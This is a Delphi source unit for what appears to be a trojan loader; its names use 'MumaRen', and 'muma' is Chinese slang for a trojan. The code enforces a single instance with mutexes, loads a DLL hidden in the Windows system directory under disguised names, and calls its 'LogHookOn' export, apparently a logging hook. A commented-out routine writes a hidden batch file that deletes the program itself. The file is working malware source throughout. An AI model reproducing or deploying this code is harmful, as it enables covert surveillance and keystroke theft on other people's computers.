dll.~pas

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unit DLL;

interface
uses Windows,Messages,shellapi;
function GetDirectory(dInt: Integer): string;
//procedure DeleteMe();
procedure ResDLL;
procedure TimerOn;
procedure TimerOff;
var
LogHookOn:function ():integer; stdcall;
loadon: THandle;
DLLA:string;
DLLB:string;
DLLC:string;
DLLD:string;
  hTimer: LongWord=0; // 定时器句柄
const
  sFileMap = 'wFileMap_MumaRen'; // 内存映射文件
  ExeMutex = 'ExeMutex_MumaRen'; // 防止同时进行插入
  DllMutex = 'DllMutex_MumaRen'; // 保证只插一个线程


implementation

function GetDirectory(dInt: Integer): string;
var
  s: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径
    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径
    2: GetTempPath(256,@s);           //Temp文件夾所存在的路径
  end;
  if dInt=2 then
    result :=string(s)
  else
    result := string(s) + '\';
end;

procedure ResDLL;
 var
  MsgStruct: TMsg;
  FileHandle: DWORD;
  PCurThreadID: PDWORD;
  i:integer;
   MutexHandle: DWORD;
begin
   DLLA:= GetDirectory(1)+'Drvce.dll';
   DLLB := GetDirectory(1)+'dllcache\Dllse.dll';
   DLLC := GetDirectory(1)+'IMENS.dll';
   DLLD := GetDirectory(1)+'Setup\Max.dll';


 if (FindWindow('Edit', 'MumaRen') <> 0) then Exit;
   if (OpenMutex(MUTEX_ALL_ACCESS, FALSE, ExeMutex) <> 0) or
     (OpenMutex(MUTEX_ALL_ACCESS, FALSE, DllMutex) <> 0) then Exit;  
  MutexHandle := CreateMutex(nil, FALSE, ExeMutex);

  FileHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DWORD), sFileMap);
  PCurThreadID := MapViewOfFile(FileHandle, FILE_MAP_WRITE, 0, 0, 0);
  PCurThreadID^ := GetCurrentThreadID();
  UnmapViewOfFile(PCurThreadID);

  LoadLibrary('kernel32.dll');
  LoadLibrary('user32.dll');
  //查找DLL
  loadon:=LoadLibrary(PChar(DLLA));
           if loadon <= 0 then
            begin
                loadon:=LoadLibrary(PChar(DLLB));
                    if loadon <= 0 then
                      begin
                        loadon:=LoadLibrary(PChar(DLLC));
                            if loadon <= 0 then
                                 begin
                                  loadon:=LoadLibrary(PChar(DLLD));
                                      if loadon <= 0 then
                                        begin
                                            CloseHandle(FileHandle);
                                            PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
                                            halt;
                                        end;
                                  end;
                        end;
            end;


  @LogHookOn:=GetProcAddress(loadon,'LogHookOn');
  LogHookOn;
  while GetMessage(MsgStruct, 0, 0, 0) do ; // 等待WM_QUIT
  CloseHandle(FileHandle);
  PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
  //DeleteMe;
 end;

   // 提取路径
{function ExtractFilePath(const FullName: string): string;
var
  P: Integer;
begin
  P := Length(FullName);
  while (P > 0) and (FullName[P] <> '\') and (FullName[P] <> ':') do Dec(P);
  Result := Copy(FullName, 1, P);
end;

procedure DeleteMe();
var
  BatchFile: TextFile;
  BatchFileName: string;
  Buf:string;
begin
   SetLength(Buf, 255);  //千万不要忘了先给你的字符串申请足够的空间，不然……嘿嘿，等着弹框儿吧^_^
  GetModuleFileName(0, PChar(Buf), 255);
  BatchFileName := ExtractFilePath(Paramstr(0)) + '_xr.bat';
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del'+#32+'"',Paramstr(0),'"''/q/a/f' );
  Writeln(BatchFile, 'if exist'+#32+'"',Paramstr(0),'"'+#32+'goto try');
  Writeln(BatchFile, 'del'+#32+'%0');
  CloseFile(BatchFile);

  ShellExecute(0, 'open', PChar(BatchFileName), nil, nil, SW_HIDE);
end; }
procedure TimerProc(hWnd: HWND; uMsg: UINT; idEvent: UINT; dwTime: DWORD); stdcall;
begin
TimerOff;
//////////////
ResDLL;
 //SetProcessWorkingSetSize(GetCurrentProcess, $FFFFFFFF, $FFFFFFFF);  //清理内存
 end;
  // 安装定时器
procedure TimerOn;
begin
 //StopHookKeyMouse;
  if (hTimer <> 0) then TimerOff;
  hTimer := SetTimer(0, 0, 1000, @TimerProc);
  end;

  // 删除定时器
procedure TimerOff;
begin
  if (hTimer <> 0) then
  begin
    KillTimer(0, hTimer);
    hTimer := 0;
  end;
end;

end.